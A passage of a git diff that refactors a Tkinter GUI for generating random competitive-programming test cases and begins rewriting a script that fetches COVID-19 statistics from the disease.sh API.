width=13, font="calibre", bd=3, ) self.button7.configure(background="grey20") self.button8 = Button( - gui, + self.master, justify=LEFT, text="T\nn m\nA1 B1\n... ...\nAm Bm", fg="white", - command=lambda: Type8(gui), + command=lambda: Type8(self.master), width=13, font="calibre", bd=3, ) self.button8.configure(background="grey20") self.button9 = Button( - gui, + self.master, justify=LEFT, text='T\nCustom string\n(without "n")\n(ex: 0 1)\n(ex: + / -)', fg="white", - command=lambda: Type9(gui), + command=lambda: Type9(self.master), width=13, font="calibre", bd=3, ) self.button9.configure(background="grey20") self.button10 = Button( - gui, + self.master, justify=LEFT, text="T\nn k m\nA1 A2...An\nn k m\nA1 A2...An", fg="white", - command=lambda: Type10(gui), + command=lambda: Type10(self.master), width=13, font="calibre", bd=3, ) self.button10.configure(background="grey20") self.button_new = Button( - gui, + self.master, text=" ANOTHER TYPE ", fg="black", width=13, font="calibre", bd=3, - command=lambda: self.newformat(self=Case), + command=self.newformat, ) self.button_exit = Button( - gui, + self.master, text=" EXIT ", fg="black", width=11, font="calibre", bd=3, - command=lambda: gui.destroy(), + command=self.master.destroy, ) self.copyright_label = Button( - gui, + self.master, text="© Dude901", fg="white", width=7, @@ -168,13 +213,12 @@ def home(self): font=("calibre", 6, "normal"), ) self.copyright_label.configure(bg=mycolor) - self.retrieve_home(self) + self.retrieve_home() - def newformat(self): - url = "https://forms.gle/UVdo6QMAwBNxa9Ln7" - webbrowser.open_new_tab(url) + def newformat(self) -> None: + webbrowser.open_new_tab("https://forms.gle/UVdo6QMAwBNxa9Ln7") - def forget_home(self): + def forget_home(self) -> None: self.statement.place_forget() self.button1.grid_forget() self.button2.grid_forget() @@ -189,7 +233,7 @@ def forget_home(self): self.button_new.grid_forget() self.button_exit.grid_forget() - def retrieve_home(self): + def retrieve_home(self) -> None: self.statement.place(relx=0.39, rely=0.005) self.button1.grid(row=1, column=0, ipady=10, pady=27, padx=10) self.button2.grid(row=1, column=1, ipady=10, pady=27, padx=10) @@ -205,26 +249,24 @@ def retrieve_home(self): self.button_exit.grid(row=3, column=3, ipady=10, pady=13, padx=10) self.copyright_label.place(relx=0.92, rely=0.005) - def cpy(self): + def cpy(self) -> None: txt = self.output.get("1.0", END) - gui.clipboard_clear() - gui.clipboard_append(txt.strip()) + self.master.clipboard_clear() + self.master.clipboard_append(txt.strip()) - def done(self, output): - self.a = [0] + def done(self) -> None: self.try_forget() self.retrieve_home() - pass - def display(self): - self.y_scroll = Scrollbar(gui) - self.x_scroll = Scrollbar(gui, orient=HORIZONTAL) + def display(self) -> None: + self.y_scroll = Scrollbar(self.master) + self.x_scroll = Scrollbar(self.master, orient=HORIZONTAL) self.y_scroll.grid(row=0, column=11, sticky="NS", pady=(22, 0), padx=(0, 20)) self.x_scroll.grid( row=1, sticky="EW", columnspan=10, padx=(20, 0), pady=(0, 30) ) self.output = Text( - gui, + self.master, height=12, bg="light cyan", width=82, @@ -232,8 +274,6 @@ def display(self): xscrollcommand=self.x_scroll.set, wrap="none", ) - # self.output = ScrolledText(gui, height=12, bg="light cyan", width=82, wrap='none', - # xscrollcommand=x_scroll.set) # only for y scroll self.output.grid( row=0, column=0, @@ -246,7 +286,7 @@ def display(self): self.y_scroll.config(command=self.output.yview) self.x_scroll.config(command=self.output.xview) self.copy_button = Button( - gui, + self.master, text="COPY", fg="black", width=18, @@ -258,31 +298,31 @@ def display(self): row=2, column=3, sticky="SW", ipady=10, pady=(10, 18), padx=15 ) self.generate_button = Button( - gui, + self.master, text="RE-GENERATE", width=23, fg="black", - command=lambda: self.generate(), + command=self.generate, font="calibre", bd=3, ) self.generate_button.grid(row=2, column=4, ipady=10, pady=(10, 18), padx=15) self.change_values_button = Button( - gui, + self.master, text="CHANGE CONSTRAINT", fg="black", - command=lambda: self.take_input(), + command=self.take_input, width=20, font="calibre", bd=3, ) self.change_values_button.grid(row=2, column=5, ipady=10, pady=(10, 18), padx=5) self.done_button = Button( - gui, + self.master, text="HOME", fg="black", - command=lambda: self.done(self.output), + command=self.done, width=20, font="calibre", bd=3, @@ -291,409 +331,387 @@ def display(self): row=3, column=3, columnspan=2, ipady=10, pady=(10, 20), padx=5 ) self.button_exit_output = Button( - gui, + self.master, text=" EXIT ", fg="black", width=20, font="calibre", bd=3, - command=lambda: gui.destroy(), + command=self.master.destroy, ) self.button_exit_output.grid( row=3, column=4, columnspan=2, ipady=10, pady=(10, 20), padx=5 ) - def try_forget(self): - self.output.grid_forget() - self.copy_button.grid_forget() - self.generate_button.grid_forget() - self.change_values_button.grid_forget() - self.done_button.grid_forget() - self.y_scroll.grid_forget() - self.x_scroll.grid_forget() - self.button_exit_output.grid_forget() - try: + def try_forget(self) -> None: + if self.output: + self.output.grid_forget() + if self.copy_button: + self.copy_button.grid_forget() + if self.generate_button: + self.generate_button.grid_forget() + if self.change_values_button: + self.change_values_button.grid_forget() + if self.done_button: + self.done_button.grid_forget() + if self.y_scroll: + self.y_scroll.grid_forget() + if self.x_scroll: + self.x_scroll.grid_forget() + if self.button_exit_output: + self.button_exit_output.grid_forget() + if self.constraints: self.constraints.grid_forget() - except AttributeError: - pass - def get_t(self, r): + def get_t(self, r: int) -> None: self.test_case_count_label = Label( - gui, text="T = ", font=("calibre", 10, "bold"), width=17 - ) # Type 1 + self.master, text="T = ", font=("calibre", 10, "bold"), width=17 + ) self.test_case_count = Entry( - gui, textvariable=t, font=("calibre", 10, "normal") + self.master, textvariable=t, font=("calibre", 10, "normal") ) - self.test_case_count_label.grid(row=r, column=0, pady=20, ipady=1) # Type 1 + self.test_case_count_label.grid(row=r, column=0, pady=20, ipady=1) self.test_case_count.grid(row=r, column=1) - def get_n(self, r): + def get_n(self, r: int) -> None: self.minimum_value_of_n = Entry( - gui, textvariable=n_min, font=("calibre", 10, "normal") + self.master, textvariable=n_min, font=("calibre", 10, "normal") ) self.min_max_values_of_n_label = Label( - gui, text=" <= n <=", font=("calibre", 10, "bold") + self.master, text=" <= n <=", font=("calibre", 10, "bold") ) self.maximum_value_of_n = Entry( - gui, textvariable=n_max, font=("calibre", 10, "normal") + self.master, textvariable=n_max, font=("calibre", 10, "normal") ) self.minimum_value_of_n.grid(row=r, column=0, padx=10, pady=10) self.min_max_values_of_n_label.grid(row=r, column=1, ipadx=5, ipady=1) self.maximum_value_of_n.grid(row=r, column=2, padx=(10, 10)) - def get_m(self, r): + def get_m(self, r: int) -> None: self.minimum_value_of_m = Entry( - gui, textvariable=m_min, font=("calibre", 10, "normal") + self.master, textvariable=m_min, font=("calibre", 10, "normal") ) self.min_max_values_of_m_label = Label( - gui, text="<= m <=", font=("calibre", 10, "bold") + self.master, text="<= m <=", font=("calibre", 10, "bold") ) self.maximum_value_of_m = Entry( - gui, textvariable=m_max, font=("calibre", 10, "normal") + self.master, textvariable=m_max, font=("calibre", 10, "normal") ) self.minimum_value_of_m.grid(row=r, column=0, padx=10, pady=10) self.min_max_values_of_m_label.grid(row=r, column=1, padx=10, ipadx=5, ipady=1) self.maximum_value_of_m.grid(row=r, column=2, padx=10) - def get_k(self, r): + def get_k(self, r: int) -> None: self.minimum_value_of_k = Entry( - gui, textvariable=k_min, font=("calibre", 10, "normal") + self.master, textvariable=k_min, font=("calibre", 10, "normal") ) self.min_max_values_of_k_label = Label( - gui, text=" <= k <=", font=("calibre", 10, "bold") + self.master, text=" <= k <=", font=("calibre", 10, "bold") ) self.maximum_value_of_k = Entry( - gui, textvariable=k_max, font=("calibre", 10, "normal") + self.master, textvariable=k_max, font=("calibre", 10, "normal") ) self.minimum_value_of_k.grid(row=r, column=0, pady=10) self.min_max_values_of_k_label.grid(row=r, column=1) self.maximum_value_of_k.grid(row=r, column=2) - def get_a(self, r): + def get_a(self, r: int) -> None: self.minimum_value_of_ai = Entry( - gui, textvariable=a_min, font=("calibre", 10, "normal") + self.master, textvariable=a_min, font=("calibre", 10, "normal") ) self.min_max_values_of_ai_label = Label( - gui, text=" <= Ai <=", font=("calibre", 10, "bold") + self.master, text=" <= Ai <=", font=("calibre", 10, "bold") ) self.maximum_value_of_ai = Entry( - gui, textvariable=a_max, font=("calibre", 10, "normal") + self.master, textvariable=a_max, font=("calibre", 10, "normal") ) self.minimum_value_of_ai.grid(row=r, column=0, padx=10, pady=10) self.min_max_values_of_ai_label.grid(row=r, column=1, ipadx=2, ipady=1) self.maximum_value_of_ai.grid(row=r, column=2) - def get_b(self, r): + def get_b(self, r: int) -> None: self.minimum_value_of_bi = Entry( - gui, textvariable=b_min, font=("calibre", 10, "normal") + self.master, textvariable=b_min, font=("calibre", 10, "normal") ) self.min_max_values_of_bi_label = Label( - gui, text=" <= Bi <= ", font=("calibre", 10, "bold") + self.master, text=" <= Bi <= ", font=("calibre", 10, "bold") ) self.maximum_value_of_bi = Entry( - gui, textvariable=b_max, font=("calibre", 10, "normal") + self.master, textvariable=b_max, font=("calibre", 10, "normal") ) self.minimum_value_of_bi.grid(row=r, column=0, pady=10) self.min_max_values_of_bi_label.grid(row=r, column=1, padx=10) self.maximum_value_of_bi.grid(row=r, column=2, padx=10) - def get_char_list(self, r): + def get_char_list(self, r: int) -> None: self.char_list_label = Label( - gui, text=" Characters : ", font=("calibre", 10, "bold"), width=17 + self.master, text=" Characters : ", font=("calibre", 10, "bold"), width=17 ) self.char_list = Entry( - gui, textvariable=char_lis, font=("calibre", 10, "normal"), width=43 + self.master, textvariable=char_lis, font=("calibre", 10, "normal"), width=43 ) self.char_list.insert(END, "(Space separated characters)") self.char_list.bind("", lambda args: self.char_list.delete("0", "end")) self.char_list_label.grid(row=r, column=0, pady=10) self.char_list.grid(row=r, column=1, columnspan=2, padx=10) - def show_button(self, r): + def show_button(self, r: int) -> None: self.back_btn = Button( - gui, + self.master, text=" HOME ", command=lambda: self.forget_testcase_take_input_screen(1), font="calibre", bd=3, ) self.sub_btn = Button( - gui, text=" GENERATE ", command=self.submit, font="calibre", bd=3 + self.master, text=" GENERATE ", command=self.submit, font="calibre", bd=3 ) self.exit_btn = Button( - gui, text=" EXIT ", command=lambda: gui.destroy(), font="calibre", bd=3 + self.master, + text=" EXIT ", + command=self.master.destroy, + font="calibre", + bd=3, ) self.back_btn.grid(row=r, column=0, pady=(20, 20), ipady=1) self.sub_btn.grid(row=r, column=1, pady=(20, 20), ipady=1) self.exit_btn.grid(row=r, column=2, pady=(20, 20), ipady=1) self.copyright_label.place(relx=0.9, y=0) - def submit(self): + def submit(self) -> None: try: self.t = int(self.test_case_count.get()) if self.t == 0 or self.t > 10000: return - except ValueError: - return - except AttributeError: + except ValueError, AttributeError: pass try: - self.n_min = min( - int(self.minimum_value_of_n.get()), int(self.maximum_value_of_n.get()) - ) - self.n_max = max( - int(self.minimum_value_of_n.get()), int(self.maximum_value_of_n.get()) - ) + n1 = int(self.minimum_value_of_n.get()) + n2 = int(self.maximum_value_of_n.get()) + self.n_min = min(n1, n2) + self.n_max = max(n1, n2) if self.n_min > self.n_max or self.n_max == 0 or self.n_max > 10000000: return - except ValueError: - return - except AttributeError: + except ValueError, AttributeError: pass try: - self.m_min = min( - int(self.minimum_value_of_m.get()), int(self.maximum_value_of_m.get()) - ) - self.m_max = max( - int(self.minimum_value_of_m.get()), int(self.maximum_value_of_m.get()) - ) + m1 = int(self.minimum_value_of_m.get()) + m2 = int(self.maximum_value_of_m.get()) + self.m_min = min(m1, m2) + self.m_max = max(m1, m2) if self.m_min > self.m_max or self.m_max == 0 or self.m_max > 10000000: return - except ValueError: - return - except AttributeError: + except ValueError, AttributeError: pass try: - self.k_min = min( - int(self.minimum_value_of_k.get()), int(self.maximum_value_of_k.get()) - ) - self.k_max = max( - int(self.minimum_value_of_k.get()), int(self.maximum_value_of_k.get()) - ) + k1 = int(self.minimum_value_of_k.get()) + k2 = int(self.maximum_value_of_k.get()) + self.k_min = min(k1, k2) + self.k_max = max(k1, k2) if self.k_min > self.k_max or self.k_max == 0 or self.k_max > 10000000: return - except ValueError: - return - except AttributeError: + except ValueError, AttributeError: pass try: - self.a_min = min( - int(self.minimum_value_of_ai.get()), int(self.maximum_value_of_ai.get()) - ) - self.a_max = max( - int(self.minimum_value_of_ai.get()), int(self.maximum_value_of_ai.get()) - ) + a1 = int(self.minimum_value_of_ai.get()) + a2 = int(self.maximum_value_of_ai.get()) + self.a_min = min(a1, a2) + self.a_max = max(a1, a2) if self.a_min > self.a_max or self.a_max == 0 or self.a_max > 10000000: return - except ValueError: - return - except AttributeError: + except ValueError, AttributeError: pass try: - self.b_min = min( - int(self.minimum_value_of_bi.get()), int(self.maximum_value_of_bi.get()) - ) - self.b_max = max( - int(self.minimum_value_of_bi.get()), int(self.maximum_value_of_bi.get()) - ) + b1 = int(self.minimum_value_of_bi.get()) + b2 = int(self.maximum_value_of_bi.get()) + self.b_min = min(b1, b2) + self.b_max = max(b1, b2) if self.b_min > self.b_max or self.b_max == 0 or self.b_max > 10000000: return - except ValueError: - return - except AttributeError: + except ValueError, AttributeError: pass try: self.char_lis = list(self.char_list.get().split()) - if self.char_lis[0] == "(Space": + if not self.char_lis or self.char_lis[0] == "(Space": return - except IndexError: + except IndexError, ValueError, AttributeError: + pass + + # additional sanity checks + if ( + hasattr(self, "t") + and hasattr(self, "n_max") + and self.t * self.n_max > 10000000 + ): return - except ValueError: + if ( + hasattr(self, "m_max") + and hasattr(self, "n_max") + and self.m_max * self.n_max > 10000000 + ): + return + if ( + hasattr(self, "t") + and hasattr(self, "m_max") + and self.t * self.m_max > 10000000 + ): return - except AttributeError: - pass - try: - if self.t * self.n_max > 10000000: - return - except AttributeError: - pass - try: - if self.m_max * self.n_max > 10000000: - return - except AttributeError: - pass - try: - if self.t * self.m_max > 10000000: - return - except AttributeError: - pass - finally: - self.forget_testcase_take_input_screen() - self.display() - self.generate() - def forget_testcase_take_input_screen(self, check=0): - try: - self.test_case_count_label.grid_forget() - self.test_case_count.grid_forget() - except AttributeError: - pass - try: - self.minimum_value_of_n.grid_forget() - self.min_max_values_of_n_label.grid_forget() - self.maximum_value_of_n.grid_forget() - except AttributeError: - pass - try: - self.minimum_value_of_ai.grid_forget() - self.min_max_values_of_ai_label.grid_forget() - self.maximum_value_of_ai.grid_forget() - except AttributeError: - pass - try: - self.minimum_value_of_bi.grid_forget() - self.min_max_values_of_bi_label.grid_forget() - self.maximum_value_of_bi.grid_forget() - except AttributeError: - pass - try: - self.minimum_value_of_m.grid_forget() - self.min_max_values_of_m_label.grid_forget() - self.maximum_value_of_m.grid_forget() - except AttributeError: - pass - try: - self.minimum_value_of_k.grid_forget() - self.min_max_values_of_k_label.grid_forget() - self.maximum_value_of_k.grid_forget() - except AttributeError: - pass - try: - self.char_list_label.grid_forget() - self.char_list.delete("0", "end") - self.char_list.grid_forget() - except AttributeError: - pass - try: - self.constraints.grid_forget() - except AttributeError: - pass - finally: - self.sub_btn.grid_forget() - self.back_btn.grid_forget() - self.exit_btn.grid_forget() + self.forget_testcase_take_input_screen() + self.display() + self.generate() + + def forget_testcase_take_input_screen(self, check: int = 0) -> None: + # try to forget all possible widgets + for widget_name in ( + "test_case_count_label", + "test_case_count", + "minimum_value_of_n", + "min_max_values_of_n_label", + "maximum_value_of_n", + "minimum_value_of_ai", + "min_max_values_of_ai_label", + "maximum_value_of_ai", + "minimum_value_of_bi", + "min_max_values_of_bi_label", + "maximum_value_of_bi", + "minimum_value_of_m", + "min_max_values_of_m_label", + "maximum_value_of_m", + "minimum_value_of_k", + "min_max_values_of_k_label", + "maximum_value_of_k", + "char_list_label", + "char_list", + "constraints", + ): + widget = getattr(self, widget_name, None) + if widget: + try: + widget.grid_forget() + except: + pass + # clear char_list if exists + if self.char_list: + try: + self.char_list.delete("0", "end") + except: + pass + # forget buttons + for btn in ("sub_btn", "back_btn", "exit_btn"): + widget = getattr(self, btn, None) + if widget: + try: + widget.grid_forget() + except: + pass if check: self.retrieve_home() + # Placeholder for generate method – will be overridden in subclasses + def generate(self) -> None: + pass + + # Placeholder for take_input – will be overridden + def take_input(self) -> None: + pass + +# ---------- Type1 to Type10 ---------- class Type1(Case): - def __init__(self, master): - super(Type1, self).__init__(master) # Type 1 + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): - try: - self.try_forget() # Type 1 - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_n(1) self.get_a(2) self.show_button(3) - def generate(self): # Type 1 + def generate(self) -> None: self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + self.output.insert(END, n) self.output.insert(END, "\n") - self.a = [0] * self.n - for j in range(self.n): - self.a[j] = randint(self.a_min, self.a_max) - self.output.insert(END, self.a) + arr = [randint(self.a_min, self.a_max) for _ in range(n)] + self.output.insert(END, arr) self.output.insert(END, "\n") -class Type2(Case): # Type 2 - def __init__(self, master): - super(Type2, self).__init__(master) +class Type2(Case): + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 2 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_n(1) self.get_m(2) self.get_a(3) self.show_button(4) - def generate(self): # Type 2 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.m = randint(self.m_min, self.m_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + m = randint(self.m_min, self.m_max) + self.output.insert(END, n) self.output.insert(END, " ") - self.output.insert(END, self.m) + self.output.insert(END, m) self.output.insert(END, "\n") - self.a = [0] * self.n - for j in range(self.n): - self.a[j] = randint(self.a_min, self.a_max) - self.output.insert(END, self.a) + arr = [randint(self.a_min, self.a_max) for _ in range(n)] + self.output.insert(END, arr) self.output.insert(END, "\n") class Type3(Case): - def __init__(self, master): - super(Type3, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 3 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_a(1) self.get_b(2) self.show_button(3) - def generate(self): # Type 3 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.a = randint(self.a_min, self.a_max) - self.b = randint(self.b_min, self.b_max) - self.output.insert(END, self.a) + for _ in range(self.t): + a = randint(self.a_min, self.a_max) + b = randint(self.b_min, self.b_max) + self.output.insert(END, a) self.output.insert(END, " ") - self.output.insert(END, self.b) + self.output.insert(END, b) self.output.insert(END, "\n") class Type4(Case): - def __init__(self, master): - super(Type4, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 4 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_n(1) self.get_m(2) @@ -701,82 +719,67 @@ def take_input(self): # Type 4 self.get_b(4) self.show_button(5) - def generate(self): # Type 4 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.m = randint(self.m_min, self.m_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + m = randint(self.m_min, self.m_max) + self.output.insert(END, n) self.output.insert(END, " ") - self.output.insert(END, self.m) + self.output.insert(END, m) self.output.insert(END, "\n") - self.a = [0] * self.n - self.b = [0] * self.m - for j in range(self.n): - self.a[j] = randint(self.a_min, self.a_max) - self.output.insert(END, self.a) + arr_a = [randint(self.a_min, self.a_max) for _ in range(n)] + arr_b = [randint(self.b_min, self.b_max) for _ in range(m)] + self.output.insert(END, arr_a) self.output.insert(END, "\n") - for j in range(self.m): - self.b[j] = randint(self.b_min, self.b_max) - self.output.insert(END, self.b) + self.output.insert(END, arr_b) self.output.insert(END, "\n") -# ------------------------------------------------- ### -# ------------------------------------------------- ### -# ### Developed by TANMAY KHANDELWAL (aka Dude901). ### -# _________________________________________________ ### -# _________________________________________________ ### - - class Type5(Case): - def __init__(self, master): - super(Type5, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 5 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_n(1) self.get_m(2) self.get_k(3) self.show_button(4) - def generate(self): # Type 5 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.m = randint(self.m_min, self.m_max) - self.k = randint(self.k_min, self.k_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + m = randint(self.m_min, self.m_max) + k = randint(self.k_min, self.k_max) + self.output.insert(END, n) self.output.insert(END, " ") - self.output.insert(END, self.m) + self.output.insert(END, m) self.output.insert(END, " ") - self.output.insert(END, self.k) + self.output.insert(END, k) self.output.insert(END, "\n") class Type6(Case): - def __init__(self, master): # Type 6 - super(Type6, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 6 - try: - self.try_forget() - except AttributeError: - pass # Type 6 + def take_input(self) -> None: + self.try_forget() self.constraints = Label( - gui, + self.master, text="Enter Constraints", fg="white", height=1, @@ -789,62 +792,56 @@ def take_input(self): # Type 6 self.get_a(3) self.show_button(4) - def generate(self): # Type 6 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) - self.n = randint(self.n_min, self.n_max) - self.m = randint(self.m_min, self.m_max) - self.output.insert(END, self.n) + n = randint(self.n_min, self.n_max) + m = randint(self.m_min, self.m_max) + self.output.insert(END, n) self.output.insert(END, " ") - self.output.insert(END, self.m) + self.output.insert(END, m) self.output.insert(END, "\n") - for i in range(self.n): - self.a = [0] * self.m - for j in range(self.m): - self.a[j] = randint(self.a_min, self.a_max) - self.output.insert(END, self.a) + for _ in range(n): + row = [randint(self.a_min, self.a_max) for _ in range(m)] + self.output.insert(END, row) self.output.insert(END, "\n") class Type7(Case): - def __init__(self, master): # Type 7 - super(Type7, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 7 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_char_list(1) self.get_n(2) self.show_button(3) - def generate(self): # Type 7 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + self.output.insert(END, n) self.output.insert(END, "\n") - self.a = choices(self.char_lis, k=self.n) - self.output.insert(END, "".join(self.a)) + s = "".join(choices(self.char_lis, k=n)) + self.output.insert(END, s) self.output.insert(END, "\n") class Type8(Case): - def __init__(self, master): # Type 8 - super(Type8, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): - try: # Type 8 - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_n(1) self.get_m(2) @@ -852,64 +849,60 @@ def take_input(self): self.get_b(4) self.show_button(5) - def generate(self): # Type 8 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.m = randint(self.m_min, self.m_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + m = randint(self.m_min, self.m_max) + self.output.insert(END, n) self.output.insert(END, " ") - self.output.insert(END, self.m) + self.output.insert(END, m) self.output.insert(END, "\n") - for j in range(self.m): - self.a = randint(self.a_min, self.a_max) - self.b = randint(self.b_min, self.b_max) - self.output.insert(END, self.a) + for _ in range(m): + a = randint(self.a_min, self.a_max) + b = randint(self.b_min, self.b_max) + self.output.insert(END, a) self.output.insert(END, " ") - self.output.insert(END, self.b) + self.output.insert(END, b) self.output.insert(END, "\n") class Type9(Case): - def __init__(self, master): - super(Type9, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 9 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_char_list(1) self.get_n(2) self.show_button(3) - def generate(self): # Type 9 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.a = choices(self.char_lis, k=self.n) - self.output.insert(END, "".join(self.a)) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + s = "".join(choices(self.char_lis, k=n)) + self.output.insert(END, s) self.output.insert(END, "\n") class Type10(Case): - def __init__(self, master): - super(Type10, self).__init__(master) + def __init__(self, master: Tk) -> None: + super().__init__(master) self.forget_home() self.take_input() - def take_input(self): # Type 10 - try: - self.try_forget() - except AttributeError: - pass + def take_input(self) -> None: + self.try_forget() self.get_t(0) self.get_n(1) self.get_k(2) @@ -917,31 +910,30 @@ def take_input(self): # Type 10 self.get_a(4) self.show_button(5) - def generate(self): # Type 10 + def generate(self) -> None: + self.forget_testcase_take_input_screen() self.output.delete("1.0", END) self.output.insert(END, self.t) self.output.insert(END, "\n") - for i in range(self.t): - self.n = randint(self.n_min, self.n_max) - self.k = randint(self.k_min, self.k_max) - self.m = randint(self.m_min, self.m_max) - self.output.insert(END, self.n) + for _ in range(self.t): + n = randint(self.n_min, self.n_max) + k = randint(self.k_min, self.k_max) + m = randint(self.m_min, self.m_max) + self.output.insert(END, n) + self.output.insert(END, " ") + self.output.insert(END, k) self.output.insert(END, " ") - self.output.insert(END, self.k) - self.output.insert(END, " ") # Type 10 - self.output.insert(END, self.m) + self.output.insert(END, m) self.output.insert(END, "\n") - self.a = [0] * self.n - for j in range(self.n): - self.a[j] = randint(self.a_min, self.a_max) - self.output.insert(END, self.a) + arr = [randint(self.a_min, self.a_max) for _ in range(n)] + self.output.insert(END, arr) self.output.insert(END, "\n") if __name__ == "__main__": - gui = Tk() - gui.title("TEST CASE GENERATOR") - gui.configure(bg=mycolor) + root = Tk() + root.title("TEST CASE GENERATOR") + root.configure(bg=mycolor) if os.environ.get("DISPLAY", "") == "": print("no display found, using:0,0") @@ -962,13 +954,7 @@ def generate(self): # Type 10 b_max = IntVar() char_lis = StringVar() - Case.home(self=Case) - - gui.mainloop() - gui.mainloop() + case = Case(root) + case.home() - # ------------------------------------------------- ### - # ------------------------------------------------- ### - # ### Developed by TANMAY KHANDELWAL (aka Dude901). ### - # _________________________________________________ ### - # _________________________________________________ ### + root.mainloop() diff --git a/depreciated_programs/corona_cases.py b/depreciated_programs/corona_cases.py index e93e7cd99f9..0ed34017091 100644 --- a/depreciated_programs/corona_cases.py +++ b/depreciated_programs/corona_cases.py @@ -1,97 +1,170 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- + +""" +corona_cases.py – COVID-19 Data Fetcher (using disease.sh API) + +This script retrieves real-time global and country-specific COVID-19 statistics +from the public disease.sh API (https://disease.sh) and displays them +in a user-friendly terminal interface with ASCII art. + +API Endpoints: + - Global: https://disease.sh/v3/covid-19/all + - India: https://disease.sh/v3/covid-19/countries/India + +Usage: + python corona_cases.py + +Interactions: + - Enter '1' to view global statistics. + - Enter '2' to view statistics for India. + - Any other input will prompt for re-entry. +""" + import sys +import time +import requests + +# API endpoints +GLOBAL_API = "https://disease.sh/v3/covid-19/all" +INDIA_API = "https://disease.sh/v3/covid-19/countries/India" +TIMEOUT = 10 # seconds +MAX_RETRIES = 3 # number of attempts before giving up + + +def fetch_data(url, description="data"): + """ + Fetch COVID-19 data from a given URL with retries. + + Args: + url (str): The API endpoint. + description (str): A human-readable description for logging. + + Returns: + dict: Parsed JSON response. -try: - import requests -except ImportError: - print("Please Install Requests Module With Command 'pip install requests'") - sys.exit(1) -from time import sleep - -url = "https://api.covid19api.com/summary" -visit = requests.get(url).json() - -NewConfirmed = visit["Global"]["NewConfirmed"] -TotalConfirmed = visit["Global"]["TotalConfirmed"] -NewDeaths = visit["Global"]["NewDeaths"] -TotalDeaths = visit["Global"]["TotalDeaths"] -NewRecovered = visit["Global"]["NewRecovered"] -TotalRecovered = visit["Global"]["TotalRecovered"] - -india = visit["Countries"] -name = india[76]["Country"] -indiaconfirmed = india[76]["NewConfirmed"] -indiatotal = india[76]["TotalConfirmed"] -indiaDeaths = india[76]["NewDeaths"] -deathstotal = india[76]["TotalDeaths"] -indianewr = india[76]["NewRecovered"] -totalre = india[76]["TotalRecovered"] -DateUpdate = india[76]["Date"] - - -def world(): - world = f""" + Raises: + SystemExit: If all retries fail. + """ + for attempt in range(1, MAX_RETRIES + 1): + try: + response = requests.get(url, timeout=TIMEOUT) + response.raise_for_status() + return response.json() + except requests.exceptions.RequestException as e: + print(f"Attempt {attempt}/{MAX_RETRIES} to fetch {description} failed: {e}") + if attempt < MAX_RETRIES: + wait = 2**attempt + print(f"Retrying in {wait} seconds...") + time.sleep(wait) + else: + print(f"❌ Unable to fetch {description} after multiple attempts.") + sys.exit(1) + + +def format_world_stats(data): + 